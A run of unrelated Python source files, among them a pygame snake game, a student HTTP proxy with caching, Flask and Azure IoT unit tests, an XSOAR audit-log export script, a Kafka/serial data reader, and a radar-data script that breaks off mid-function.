import sys
import pygame
import random
from snake_utility import Snake, Cherry, SnakeGameStatusFlags
import json

def set_new_cherry_pos(snake_lst):
    """
    Sets new cherry position.

    :param snake_lst: List, containing all snake instances present in the game. This is needed
                      to check that cherry will not be placed onto a snake.
    :type snake_lst: list of Snake
    """

    new_cherry_pos = random.randrange(0, width, Snake.block_size), random.randrange(0, height, Snake.block_size)

    # check if new cherry position is within any of the snakes and set new one
    for snk in snake_lst:
        while new_cherry_pos in snk.block_pos_lst:
            new_cherry_pos = random.randrange(0, width, Snake.block_size), random.randrange(0, height, Snake.block_size)

    return new_cherry_pos

def init_game(config_data):
    """
    Initializes the game with configuration, defined in config_data.

    :param config_data: Dictionary, which contains configuration for the game, such as
                        game window dimensions, number of snakes, keyboard keys, etc.
    :type config_data: dict

    :return: Lists of initialized snakes and cherries.
    :rtype: tuple of list
    """
    # colors for snakes
    snake_colors = [(0, 255, 0),  # player 1 is green
                    (0, 0, 255),  # player 2 is blue
                    (255, 255, 50),  # player 3 is yellow
                    (205, 0, 205)]  # player 4 is purple

    # create snake instances
    init_snake_lst = []
    for i in range(config_data["num_snakes"]):
        keys = config_data["keys"][i]
        snake = Snake(start_pos=config_data["start_pos"][i],
                      move_keys={'up': pygame.__getattribute__(keys[0]),
                                 'right': pygame.__getattribute__(keys[1]),
                                 'down': pygame.__getattribute__(keys[2]),
                                 'left': pygame.__getattribute__(keys[3])},
                      color=snake_colors[i],
                      block_size=config_data["block_size"],
                      num_of_start_blocks=config_data["initial_snake_length"])

        init_snake_lst.append(snake)

    # create cherry instances
    init_cherry_lst = []
    for i in range(config_data["num_cherries"]):
        cherry = Cherry(block_size)
        cherry.set_new_random_position(init_snake_lst, config_data["main_window_size"])
        init_cherry_lst.append(cherry)

    return init_snake_lst, init_cherry_lst

def redraw_screen(snake_lst, cherry_lst, block_size):
    """
    Redraws screen with updated snake and cherry positions.

    :param snake_lst: List of all snakes in the game.
    :type snake_lst: list of Snake

    :param cherry_lst: List of all cherries in the game.
    :type cherry_lst: list of Cherry

    :param block_size: Size of one block of snake or cherry in pixels.
    :type block_size: int
    """
    # clear screen
    screen.fill(BLACK)

    # draw snakes
    for snake in snake_lst:
        for block_pos in snake.block_pos_lst:
            pygame.draw.rect(screen,
                             snake.color,
                             (block_pos[0], block_pos[1], block_size, block_size))

    # draw cherries
    for cherry in cherry_lst:
        pygame.draw.rect(screen,
                         (255, 0, 0),
                         (cherry.position[0], cherry.position[1], block_size, block_size))

    # update display
    pygame.display.update()

def main_loop(snake_list, cherry_list):
    """
    Main loop of the game. This function returns only if snake collision occured.

    """
    while True:
        # capture events
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                # happens when user tries to close window
                sys.exit()  # exit from game
            elif event.type == pygame.KEYDOWN:
                # happens on key pressed
                # check which snake's key was pressed and add it to key stack
                for snake in snake_list:
                    if event.key in [val for _, val in snake.move_keys.items()]:
                        snake.key_stack.append(event.key)
            elif event.type == pygame.USEREVENT:  # happens on each timer tick

                for snake in snake_list:
                    snake.get_dir_from_keystack()
                    snake.set_new_state(size, snake_list)

                    # check if there is collision
                    if snake.collision:
                        return SnakeGameStatusFlags.COLLISION_OCCURENCE

                    # check if any of the cherries was eaten by the current snake
                    for cherry in cherry_list:
                        if snake.block_pos_lst[0] == cherry.position:
                            # append new block to snake that ate the cherry
                            snake.block_pos_lst.append(snake.block_pos_lst[-1])

                            # set new random position for the eaten cherry
                            cherry.set_new_random_position(snake_lst, size)

                # redraw screen with updated snake and cherry positions
                redraw_screen(snake_list, cherry_list, block_size)

if __name__ == '__main__':
    pygame.init()

    # load configuration data
    with open('config.json', 'r') as config_file:
        configuration_data = json.load(config_file)

    size = width, height = configuration_data["main_window_size"]
    BLACK = 0, 0, 0
    refresh_rate = configuration_data["refresh_rate"]
    start_pos = configuration_data["start_pos"]
    block_size = configuration_data["block_size"]

    # set display
    screen = pygame.display.set_mode(size)

    # set timer
    pygame.time.set_timer(pygame.USEREVENT, refresh_rate)

    timer = pygame.time.get_ticks()

    while True:
        # initialize new game
        snake_lst, cherry_pos = init_game(configuration_data)

        # main loop will exit only if collision occurs
        main_loop(snake_lst, cherry_pos)


# Don't forget to change this file's name before submission.
import sys
import os
import enum
import socket
import threading

class Constants:
    RQ_LEN = 3

    MAX_RECEIVE = 4096

    DECODE = 'unicode_escape'

    DEF_PORT: int = 80

    class Index:
        MVP = 0  # Method Path Version
        PHH = 1  # Port Headers Host

        METHOD = 0
        PATH = 1
        VERSION = 2

    class Attributes:
        HTTP = 'http'
        HTTP_V0 = HTTP + '/1.0'
        HTTP_V1 = HTTP + '/1.1'
        HOST = 'Host'

    class Delimiters:
        RQ_ENDING = '\r\n\r\n'
        RQ_LINES_DELIMITER = '\r\n'
        PATH = '/'
        HOST = ':'
        SPACE = ' '

    class Operations:
        INVALID_INPUT = {}
        GOOD = {'get'}
        NOT_SUPPORTED = {'put', 'post', 'delete', 'head'}
        PLACEHOLDER = {}

    class Responses:
        BAD = (400, 'Bad Request')
        NOT_SUPPORTED = (501, 'Not Supported')

        class Index(int):
            CODE = 0
            MSG = 1

class Cache:
    """
    Represents a Cache object that caches request so it can
    be handled later on and no data loss occurs
    """

    def __init__(self):
        self.__cache = dict()

    def check(self, response):
        if response.requested_host is not None and response.requested_path is not None:
            url = response.requested_host + response.requested_path
            if url in self.__cache.keys():
                return self.__cache[url]
        return None

    def cache(self, response, r):
        if response.requested_host is not None and response.requested_path is not None:
            self.__cache[response.requested_host + response.requested_path] = r

class HttpRequestState(enum.Enum):
    """
    The values here have nothing to do with
    response values i.e. 400, 502, ..etc.
    Leave this as is, feel free to add yours.
    """
    INVALID_INPUT = 0
    NOT_SUPPORTED = 1
    GOOD = 2
    PLACEHOLDER = -1

class HttpRequestInfo(object):
    """
    Represents a HTTP request information

    Since you'll need to standardize all requests you get
    as specified by the document, after you parse the
    request from the TCP packet put the information you
    get in this object.

    To send the request to the remote server, call to_http_string
    on this object, convert that string to bytes then send it in
    the socket.

    client_address_info: address of the client;
    the client of the proxy, which sent the HTTP request.

    requested_host: the requested website, the remote website
    we want to visit.

    requested_port: port of the webserver we want to visit.

    requested_path: path of the requested resource, without
    including the website name.

    NOTE: you need to implement to_http_string() for this class.
    """

    def __init__(self, client_info, method: str, requested_host: str,
                 requested_port: int,
                 requested_path: str,
                 headers: list):
        self.method = method
        self.client_address_info = client_info
        self.requested_host = requested_host
        self.requested_port = requested_port
        self.requested_path = requested_path
        # Headers will be represented as a list of lists
        # for example ["Host", "www.google.com"]
        # if you get a header as:
        # "Host: www.google.com:80"
        # convert it to ["Host", "www.google.com"] note that the
        # port is removed (because it goes into the request_port variable)
        self.headers = headers

    def to_http_string(self):
        """
        Convert the HTTP request/response
        to a valid HTTP string.
        As the protocol specifies:

        [request_line]\r\n
        [header]\r\n
        [headers..]\r\n
        \r\n

        (just join the already existing fields by \r\n)

        You still need to convert this string
        to byte array before sending it to the socket,
        keeping it as a string in this stage is to ease
        debugging and testing.
        """
        http = f'{self.method} {self.requested_path} ' \
               + Constants.Attributes.HTTP_V0.upper() \
               + Constants.Delimiters.RQ_LINES_DELIMITER
        for h in self.headers:
            http += f'{h[0]}: {h[1]}' + Constants.Delimiters.RQ_LINES_DELIMITER
        return http + Constants.Delimiters.RQ_LINES_DELIMITER

    def to_byte_array(self, http_string):
        """
        Converts an HTTP string to a byte array.
        """
        return bytes(http_string, 'UTF-8')

    def display(self):
        print(f"Client:", self.client_address_info)
        print(f"Method:", self.method)
        print(f"Host:", self.requested_host)
        print(f"Port:", self.requested_port)
        stringified = [": ".join([k, v]) for (k, v) in self.headers]
        print("Headers:\n", "\n".join(stringified))

class HttpErrorResponse(object):
    """
    Represents a proxy-error-response.
    """

    def __init__(self, code, message):
        self.code = code
        self.message = message

    def to_http_string(self):
        return f'[{str.upper(self.message)}: {self.code}] '

    def to_byte_array(self, http_string):
        """
        Converts an HTTP string to a byte array.
        """
        return bytes(http_string, 'UTF-8')

    def display(self):
        print(self.to_http_string())

def entry_point(proxy_port_number):
    """
    Entry point, start your code here.

    Please don't delete this function,
    but feel free to modify the code
    inside it.
    """
    start(setup_sockets(proxy_port_number))

def setup_sockets(proxy_port_number):
    """
    Socket logic MUST NOT be written in the any
    class. Classes know nothing about the sockets.

    But feel free to add your own classes/functions.

    Feel free to delete this function.
    """
    print("Starting HTTP proxy on port:", proxy_port_number)

    # when calling socket.listen() pass a number
    # that's larger than 10 to avoid rejecting
    # connections automatically.

    proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_socket.bind(('localhost', proxy_port_number))
    proxy_socket.listen(20)
    return proxy_socket

def start(proxy_socket: socket):
    cache = Cache()
    try:
        while True:
            client, address = proxy_socket.accept()
            threading.Thread(target=client_handler, args=(client, address, cache)).start()
    except KeyboardInterrupt:
        proxy_socket.close()

def client_handler(client: socket, address, c: Cache):
    proxy_response = http_request_pipeline(address, receive_client_request(client))
    if isinstance(proxy_response, HttpErrorResponse):
        client.sendto(proxy_response.to_byte_array(proxy_response.to_http_string()), address)
    else:
        response = c.check(proxy_response)
        if response is None:
            response = server_handler(proxy_response)
            c.cache(proxy_response, response)
        if response is not None:
            for proxy_response in response:
                client.sendto(proxy_response, address)
    client.close()

def receive_client_request(s: socket) -> str:
    request = ""
    while request.find(Constants.Delimiters.RQ_ENDING) == -1:
        request += http_request_decode(s.recv(Constants.MAX_RECEIVE))
    return request

def server_handler(response: HttpRequestInfo):
    server_socket = setup_server_socket(response)
    if server_socket is None:
        return
    return receive_server_response(server_socket, response)

def setup_server_socket(response: HttpRequestInfo) -> socket:
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ip = socket.gethostbyname(response.requested_host)
    except TypeError or TimeoutError:
        return None
    server_socket.connect((ip, response.requested_port))
    return server_socket

def receive_server_response(s: socket, response: HttpRequestInfo) -> list:
    s.send(response.to_byte_array(response.to_http_string()))
    received_data = s.recv(Constants.MAX_RECEIVE)
    server_response = []
    while len(received_data) > 0:
        server_response.append(received_data)
        received_data = s.recv(Constants.MAX_RECEIVE)
    s.close()
    return server_response

def generate_error(state: HttpRequestState) -> HttpErrorResponse:
    return {
        HttpRequestState.INVALID_INPUT: HttpErrorResponse(
            Constants.Responses.BAD[Constants.Responses.Index.CODE],
            Constants.Responses.BAD[Constants.Responses.Index.MSG])
    }.get(state, HttpErrorResponse(Constants.Responses.NOT_SUPPORTED[Constants.Responses.Index.CODE],
                                   Constants.Responses.NOT_SUPPORTED[Constants.Responses.Index.MSG]))

def http_request_pipeline(source_addr, http_raw_data):
    """
    HTTP request processing pipeline.

    - Validates the given HTTP request and returns
      an error if an invalid request was given.
    - Parses it
    - Returns a sanitized HttpRequestInfo

    returns:
     HttpRequestInfo if the request was parsed correctly.
     HttpErrorResponse if the request was invalid.

    Please don't remove this function, but feel
    free to change its content
    """
    state = check_http_request_validity(http_raw_data)
    if state is not HttpRequestState.GOOD:
        return generate_error(state)
    return sanitize_http_request(parse_http_request(source_addr, http_raw_data))

def http_request_decode(http_raw_data: bytearray) -> str:
    return http_raw_data.decode(Constants.DECODE)

def parse_http_request(source_addr, http_raw_data: str) -> HttpRequestInfo:
    """
    This function parses a "valid" HTTP request into an HttpRequestInfo
    object.
    """
    request = parse_request(http_raw_data)

    method, requested_path, version = parse_MVP(request)
    requested_port, headers, requested_host = parse_PHH(request)

    return HttpRequestInfo(source_addr, method.upper(), requested_host, requested_port, requested_path.strip(), headers)

def parse_request(request: str) -> list:
    return list(filter(None, request.split(Constants.Delimiters.RQ_LINES_DELIMITER)))

def parse_MVP(request):
    mpv = request[Constants.Index.MVP].split(Constants.Delimiters.SPACE)
    if mpv.__len__() != Constants.RQ_LEN:
        print('[ERROR] Request length does not match.')
        print(f'[VERBOSE] Expected 3 args but got {mpv.__len__()} instead.')
        exit(-1)
        return
    return mpv

def parse_PHH(request):
    phh = request[Constants.Index.PHH:]

    port: int = Constants.DEF_PORT
    headers: list = []
    host = None

    for attribute in phh:
        h = parse_header(attribute)
        headers.append(h)
        if h[0] == Constants.Attributes.HOST:
            host, port = parse_host_port(h)
    return port, headers, host

def parse_header(header) -> list:
    h: list = header.split(Constants.Delimiters.HOST)
    h = [i.strip() if type(i) == str else str(i) for i in h]
    return h

def parse_host_port(header: list):
    hp: list = header[1].split(Constants.Delimiters.HOST)
    return hp[0], (int(hp[1]) if len(hp) > 2 else Constants.DEF_PORT)

def split_http_request(http_request: str):
    try:
        headers = http_request.split(Constants.Delimiters.RQ_LINES_DELIMITER)[Constants.Index.PATH:]
        method = http_request.split(Constants.Delimiters.SPACE)[Constants.Index.METHOD]
        path = http_request.split(Constants.Delimiters.SPACE)[Constants.Index.PATH]
        version = http_request.split(Constants.Delimiters.SPACE)[Constants.Index.VERSION]
    except ValueError or IndexError:
        exit(-1)
        return
    return headers, method, path, version

def format_http_raw_data(http_raw_data: str) -> str:
    return http_raw_data.lower()

def check_http_request_validity(http_raw_data: str) -> HttpRequestState:
    """
    Checks if an HTTP request is valid

    returns:
    One of values in HttpRequestState
    """
    http_request = format_http_raw_data(http_raw_data)

    state = check_request_line_validity(http_request.split("\r\n")[0])
    if state != HttpRequestState.GOOD:
        return state

    headers, method, path, version = split_http_request(format_http_raw_data(http_raw_data))

    state = check_request_ending_validity(http_raw_data)
    if state != HttpRequestState.GOOD:
        return state
    state = check_headers_validity(headers)
    if state != HttpRequestState.GOOD:
        return state
    state = check_host_validity(path, headers)
    if state != HttpRequestState.GOOD:
        return state
    state = check_version_validity(version)
    if state != HttpRequestState.GOOD:
        return state
    state = check_method_validity(method)
    if state != HttpRequestState.GOOD:
        return state
    return HttpRequestState.GOOD

def check_request_line_validity(request: str) -> HttpRequestState:
    if request is None \
            or not request.strip() \
            or len(request.split(Constants.Delimiters.SPACE)) != Constants.RQ_LEN:
        return HttpRequestState.INVALID_INPUT
    return HttpRequestState.GOOD

def check_request_ending_validity(string: str) -> HttpRequestState:
    return HttpRequestState.INVALID_INPUT \
        if string[-Constants.Delimiters.RQ_ENDING.__len__():] != Constants.Delimiters.RQ_ENDING \
        else HttpRequestState.GOOD

def check_method_validity(method: str) -> HttpRequestState:
    if method in Constants.Operations.GOOD:
        return HttpRequestState.GOOD
    elif method in Constants.Operations.NOT_SUPPORTED:
        return HttpRequestState.NOT_SUPPORTED
    elif method in Constants.Operations.PLACEHOLDER:
        return HttpRequestState.PLACEHOLDER
    return HttpRequestState.INVALID_INPUT

def check_headers_validity(headers: list) -> HttpRequestState:
    return HttpRequestState.INVALID_INPUT if headers is None else HttpRequestState.GOOD

def check_version_validity(version: str) -> HttpRequestState:
    v = version.strip()[:version.find(Constants.Delimiters.RQ_LINES_DELIMITER)]
    return HttpRequestState.INVALID_INPUT \
        if v != Constants.Attributes.HTTP_V0 and v != Constants.Attributes.HTTP_V1 \
        else HttpRequestState.GOOD

def check_host_validity(path: str, headers: list) -> HttpRequestState:
    def check_all_hosts_validity(hds: list) -> bool:
        for h in hds:
            line = h.split(Constants.Delimiters.HOST)
            if line[0].strip() == Constants.Attributes.HOST.lower():
                return True
        return False

    valid_host = True
    if path.startswith(Constants.Delimiters.PATH):
        valid_host = check_all_hosts_validity(headers)
    return HttpRequestState.GOOD if valid_host else HttpRequestState.INVALID_INPUT

def sanitize_http_request(request_info: HttpRequestInfo):
    """
    Puts an HTTP request on the sanitized (standard) form
    by modifying the input request_info object.

    for example, expand a full URL to relative path + Host header.

    returns:
    nothing, but modifies the input object
    """
    path = request_info.requested_path

    if path.__contains__(Constants.Attributes.HTTP):
        start_index, end_index = get_sanitization_indices(path)
        host = path[start_index:end_index]

        request_info.requested_path = sanitize_path(path[end_index:])

        if host.__contains__(Constants.Delimiters.HOST):
            host, port = sanitize_host_port(host)
            request_info.requested_port = port

        if request_info.requested_host is None:
            request_info.headers.insert(0, (Constants.Attributes.HOST, host))
            request_info.requested_host = host

    return request_info

def sanitize_host_port(path):
    element = list(filter(None, path.split(Constants.Delimiters.HOST)))
    return element[0], int(element[1])

def sanitize_path(path):
    if not path:
        return Constants.Delimiters.PATH
    return path

def get_sanitization_indices(path: str):
    end_index = path.find(Constants.Delimiters.PATH, 8)
    start_index = path.find(Constants.Delimiters.PATH * 2) + 2
    return start_index, end_index

#######################################
# Leave the code below as is.
#######################################

def get_arg(param_index, default=None):
    """
        Gets a command line argument by index (note: index starts from 1)
        If the argument is not supplies, it tries to use a default value.

        If a default value isn't supplied, an error message is printed
        and terminates the program.
    """
    try:
        return sys.argv[param_index]
    except IndexError as e:
        if default:
            return default
        else:
            print(e)
            print(
                f"[FATAL] The comand-line argument #[{param_index}] is missing")
            exit(-1)  # Program execution failed.

def main():
    """
    Please leave the code in this function as is.

    To add code that uses sockets, feel free to add functions
    above main and outside the classes.
    """
    print("\n\n")
    print("*" * 50)
    print(f"[LOG] Printing command line arguments [{', '.join(sys.argv)}]")
    print("*" * 50)

    # This argument is optional, defaults to 18888
    proxy_port_number = get_arg(1, 18888)
    entry_point(proxy_port_number)

if __name__ == "__main__":
    main()


from app.models.common import Game, Team, Member
from app.models.composite import GameTeam

__author__ = 'changsuyouk'
import unittest

import os
import requests

os.environ["unittest_mode"] = "enable"

from app import db

class SimpleTest(unittest.TestCase):

    def setUp(self):
        print("===== setting os enviroment =====")
        print(os.environ.get("unittest_mode"))
        self.uri = "http://localhost:5000"
        # session = self.r.session()
        # session.config['keep_alive'] = False

    def test_app(self):
        print("================")
        print("start testing test_game_model.py")
        db.drop_all()
        db.create_all()
        # self.setUp()
        self.test_get_current_date()
        self.test_get_current_session()
        self.test_session()
        self.test_create_game()
        self.test_create_members()
        self.test_add_members_to_team_instance()
        self.test_test_api()
        self.test_create_game_api()
        self.test_member_api()
        self.test_team_api()

    def test_get_current_date(self):
        import datetime
        now = datetime.datetime.now()
        date = now.strftime("%y%m%d")
        date = int(date)
        assert Game.get_current_date() == date

    def test_get_current_session(self):
        assert Game.get_current_session() == 1

    def test_session(self):
        Game.increase_current_session()
        Game.increase_current_session()
        assert Game.get_current_session() == 3

    def test_create_game(self):
        print("make curator 30 team")
        GameTeam.create_one("curator", 30)
        teams = Team.query.count()
        assert teams == 30

    def test_create_members(self):
        Member.create_many_from_string(1, "FRED,DAVID,MICHAEL")
        member = Member.query.count()
        assert member == 3
        print("test_create_members done")

    def test_add_members_to_team_instance(self):
        team = Team.query.filter(Team.id==1).one()
        members = Member.get_members_as_string(team.id)
        assert members == "FRED,DAVID,MICHAEL"
        print("test_add_members_to_team_instance done")

    def test_test_api(self):
        r = requests.get(self.uri + "/test")
        assert r.status_code == 200
        r.close()
        print("test_test_api done")

    def test_create_game_api(self):
        from json import dumps
        json = [{"job":"curator", "count":30},{"job":"archivist", "count":30},{"job":"educator", "count":30}]
        data = dumps(json)
        r = requests.post(self.uri + "/teams", data = data)

        print(r.text)
        r.close()
        print("test_create_game_api done")

    def test_member_api(self):
        members = "FRED,DAVID,MICHAEL"
        r = requests.post(self.uri + "/teams/1/members/"+members)
        r.close()
        print("text : ", r.text)
        print("test_member_api done")

    def test_team_api(self):
        r = requests.get(self.uri + "/teams/1")
        r.close()
        print(r.text)
        print("test_team_api done")


import demistomock as demisto  # noqa: F401
from CommonServerPython import *  # noqa: F401
import csv
import io
import json
from datetime import date, timedelta

def main():   # pragma: no cover
    # get the file type
    file_type = demisto.args().get("output")

    # set time back for fetching
    fetch_back_date = date.today() - timedelta(days=int(demisto.args().get("days_back")))
    fetch_from = fetch_back_date.strftime("%Y-%m-%dT00:00:00Z")
    file_date = fetch_back_date.strftime("%Y-%m-%d")

    # body of the request
    body = {
        'fromDate': fetch_from,
        'query': "",
        'page': 0,
        'size': 100
    }

    # get the logs
    res = demisto.executeCommand("demisto-api-post", {"uri": "/settings/audits", "body": body})[0]["Contents"][
        "response"]

    # set the initial counts
    total = res.get('total', 0)
    audits = res.get('audits', [])
    count = 1

    # if there are more events than the default size, page through and get them all
    while len(audits) < total:
        body['page'] = count
        res = demisto.executeCommand("demisto-api-post", {"uri": "/settings/audits", "body": body})[0]["Contents"][
            "response"]
        audits.extend(res.get('audits', []))
        count += 1
        # break if this goes crazy, if there are more than 100 pages of audit log entries.
        if count == 100:
            break

    if file_type == "csv":
        # write the results to a CSV
        si = io.StringIO()
        cw = csv.writer(si)

        # write header row
        cw.writerow(["Log"])

        # write the rows for each asset
        for audit in audits:
            cw.writerow([audit, ])

        # return the file
        data = si.getvalue().strip('\r\n')
        demisto.results(fileResult(f"xsoar-audit-logs-{file_date}.csv", data.encode('utf-8')))
    else:
        demisto.results(fileResult(f"xsoar-audit-logs-{file_date}.json", json.dumps(audits)))

    # return the results
    demisto.results(f"Fetched {len(audits)} audit log events since {fetch_from}")

if __name__ in ('__main__', '__builtin__', 'builtins'):
    main()


#!/usr/bin/python
# coding: utf-8

from neural_aide import main
import logging
import traceback
import sys
from os.path import join as pjoin

RESSOURCES_FOLDER = "/data/asevin/experiment/clean_active_nn/"
QDB = True
RANDOM = True
SHAPES = [16, 16, 1]
INCLUDE_BACKGROUND = True
EVOLUTIVE_SMALL = True
NB_BIASED_EPOCH = 2000
USE_MAIN_WEIGHTS = True
DISPLAY = False
SAVE_PLOT = False
QUERY = 1
BIASED_LR = 0.001
TSM = False
PLTLIM = None
TSM_LIM = None
REDUCE_FACTOR = 1
POOL_SIZE = None
MAIN_LR = 0.001
ACTIVATION = "relu"
LOSS = "binary_crossentropy"
BACKGROUND_SAMPLING = "uncertain"

for i in range(10):
    try:
        main.run_experiment_with_sdss(
        	RESSOURCES_FOLDER,
        	qdb=QDB,
        	random=RANDOM,
            shapes=SHAPES,
            include_background=INCLUDE_BACKGROUND,
            evolutive_small=EVOLUTIVE_SMALL,
            nb_biased_epoch=NB_BIASED_EPOCH,
            use_main_weights=USE_MAIN_WEIGHTS,
            display=DISPLAY,
            save_plot=SAVE_PLOT,
            query=QUERY,
            biased_lr=BIASED_LR,
            tsm=TSM,
            pltlim=PLTLIM,
            tsm_lim=TSM_LIM,
            reduce_factor=REDUCE_FACTOR,
            pool_size=POOL_SIZE,
            np_seed=i+100,
            tf_seed=i,
            saving_dir=pjoin(RESSOURCES_FOLDER, "results", "a2_2_noreduction"),
            main_lr=MAIN_LR,
            nn_activation=ACTIVATION,
            nn_loss=LOSS,
            background_sampling=BACKGROUND_SAMPLING
            )
    except Exception as e:
        logging.exception("Here is the error")


# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------

import os
from azure.iot.hub.devicesdk.auth.iotedge_authentication_provider import (
    IotEdgeAuthenticationProvider,
)
from mock import patch

fake_ca_cert = "__FAKE_CA_CERTIFICATE__"
fake_module_id = "__FAKE_MODULE_ID__"
fake_device_id = "__FAKE_DEVICE_ID__"
fake_hostname = "__FAKE_HOSTNAME__"
fake_gateway_hostname = "__FAKE_GATEWAY_HOSTNAME__"
fake_digest = "__FAKE_DIGEST__"

required_environment_variables = {
    "IOTEDGE_MODULEID": fake_module_id,
    "IOTEDGE_DEVICEID": fake_device_id,
    "IOTEDGE_IOTHUBHOSTNAME": fake_hostname,
    "IOTEDGE_GATEWAYHOSTNAME": fake_gateway_hostname,
}

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_initializer_gets_details_from_environment(mock_hsm):
    auth_provider = IotEdgeAuthenticationProvider()
    assert auth_provider.gateway_hostname == fake_gateway_hostname
    assert auth_provider.device_id == fake_device_id
    assert auth_provider.module_id == fake_module_id
    assert auth_provider.hostname == fake_hostname

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_initializer_gets_ca_certificate_from_hsm(MockHsm):
    MockHsm.return_value.get_trust_bundle.return_value = fake_ca_cert
    auth_provider = IotEdgeAuthenticationProvider()
    assert auth_provider.ca_cert == fake_ca_cert

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_get_shared_access_key_uses_hsm_to_sign(MockHsm):
    MockHsm.return_value.sign.return_value = fake_digest
    auth_provider = IotEdgeAuthenticationProvider()
    try:
        sas_token = auth_provider.get_current_sas_token()
        assert MockHsm.return_value.sign.call_args[0][0].startswith(
            "{}%2Fdevices%2F{}%2Fmodules%2F{}\n".format(
                fake_hostname, fake_device_id, fake_module_id
            )
        )
        assert sas_token.startswith(
            "SharedAccessSignature sr={}%2Fdevices%2F{}%2Fmodules%2F{}&sig={}&se=".format(
                fake_hostname, fake_device_id, fake_module_id, fake_digest
            )
        )
    finally:
        auth_provider.disconnect()


import threading

import serial
from serial.serialposix import Serial
from confluent_kafka import Consumer, KafkaError
from confluent_kafka.avro import AvroConsumer
from confluent_kafka.avro.serializer import SerializerError

from log import logger

LOGGER = logger(__name__)

class GeneralSource(threading.Thread):
    def __init__(self, threadID, stype, name, clf,
                 scq, sclock, skq, sklock, istr):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.stype = stype
        self.name = name
        self.scq = scq
        self.sclock = sclock
        self.skq = skq
        self.sklock = sklock
        self.istr = istr
        self.exitFlag = 0
        self.clf = clf

    def read_data(self):
        while not self.exitFlag:
            try:

                rawdata = dict()
                if self.clf:
                    if not self.scq.empty():
                        self.sclock.acquire()
                        (img, score) = self.scq.get()
                        rawdata['imgname'] = img
                        rawdata['score'] = score
                        self.sclock.release()
                    else:
                        continue

                if isinstance(self.istr, Serial):
                    try:
                        self.istr.reset_input_buffer()
                        self.istr.flushInput()
                        self.istr.flushOutput()
                    except AttributeError as ae:
                        pass
                    # if line:
                    # if findWholeWord('UNIQUEDID'):

                    line = self.istr.readline()
                    if (not line or len(line) <= 20):
                        continue

                    d = line.split()
                    data = d[0]

                if isinstance(self.istr, Consumer):
                    try:
                        msg = self.istr.poll(10)
                    except SerializerError as e:
                        LOGGER.error("Cannot deserialise message {}: {}"
                                     .format(msg, e))
                        break

                    if not msg:
                        continue
                    if msg.error():
                        if msg.error().code() == KafkaError._PARTITION_EOF:
                            continue
                        else:
                            LOGGER.debug(msg.error())
                            break

                    data = msg.value()
                    LOGGER.debug(data)

                # Merge classification result with data
                rawdata['raw'] = data
                LOGGER.debug("Adding to queue rawdata: {}".format(rawdata))
                self.sklock.acquire()
                self.skq.put(rawdata)
                self.sklock.release()
            except IOError as io:
                LOGGER.debug(io)

    def run(self):
        LOGGER.info("Starting %s %s" % (self.stype, self.name))
        self.read_data()
        LOGGER.info("Exiting %s %s" % (self.stype, self.name))

class SerialSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        istream = serial.Serial(
            '/dev/ttyUSB' + lconfig('USB_PORT'),
            baudrate=38400,
            timeout=2,
            bytesize=serial.EIGHTBITS,
            parity=serial.PARITY_NONE,
            stopbits=serial.STOPBITS_ONE,
            xonxoff=False
        )
        GeneralSource.__init__(self, threadID, 'Serial', name, clf,
                               scq, sclock, skq, sklock, istream)

class FileSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        istream = open(lconfig('FILE'), 'r')
        GeneralSource.__init__(self, threadID, 'File', name, clf,
                               scq, sclock, skq, sklock, istream)

class KafkaSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        if lconfig('SCHEMA'):
            c = AvroConsumer({
                'bootstrap.servers': lconfig('BROKER'),
                'group.id': lconfig('GROUP'),
                'schema.registry.url': lconfig('SCHEMA')
            })
            LOGGER.debug("Avro Consumer")
        else:
            c = Consumer({
                'bootstrap.servers': lconfig('BROKER'),
                'group.id': lconfig('GROUP'),
                'auto.offset.reset': 'earliest'
            })
        c.subscribe(lconfig('TOPIC').split(','))
        istream = c
        GeneralSource.__init__(self, threadID, 'Kafka', name, clf,
                               scq, sclock, skq, sklock, istream)


import glob
import os
import sys
from datetime import datetime, timedelta

try:
    from netcdftime import utime
except ImportError:
    from cftime import utime
import numpy as np
import pyart

from pyart.aux_io.sinarame_h5 import read_sinarame_h5
from pyart.aux_io.rainbow_wrl import read_rainbow_wrl

from get_strat import get_strat

def armo_radar(lista_ref_todos, path_datos='/ms-36/mrugna/RMA/datos/'):
    """
    Parametros
    ----------
    lista_ref_todos : str
        Lista de archivos de reflectividad

    path_datos : str (opcional)
        Ruta donde estan los archivos

    Devuelve
    --------
    lista_radares : lista
        Lista con instancias de objeto Radar de PyART.

    """

    lista_radares = []

    for archivo_ref in lista_ref_todos:
        nombre_radar = archivo_ref.split('/')[5] # esto esta hardcodeado al path de ms-36

        if nombre_radar.startswith('RMA'):

            # try:
            hora = datetime.strptime(archivo_ref.split('_')[-1][:13], '%Y%m%dT%H%M')
            condicion = hora.strftime(f'{path_datos}{nombre_radar}/*/*/*/*/*/*_%Y%m%dT%H%M*Z.H5')
            files = glob.glob(condicion)
            # aca arriba hay que decidir que variables se agarran

            # Ordeno la lista para que siempre arranque con T
            files.sort(reverse=True)
            files.sort(key=lambda x: len(x.split('_')[-2]))

            # print('\tEl primer archivo es:', str(files[0]), end='\n\n')

            for j, file in enumerate(files):

                if j == 0:
                    try:
                        radar = read_sinarame_h5(file, file_field_names=True)
                        azi_todos, rango = radar.fields['TH']['data'].shape
                        # print('Creo objeto radar de', file, sep='\t')

                    # Si no puede crear radar
                    # Seria recomendable agarrar las excepciones de mejor manera
                    except ValueError:
                        print('x - No se pudo crear el objeto Radar de',
                              file, sep='\t')

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                else:
                    try:
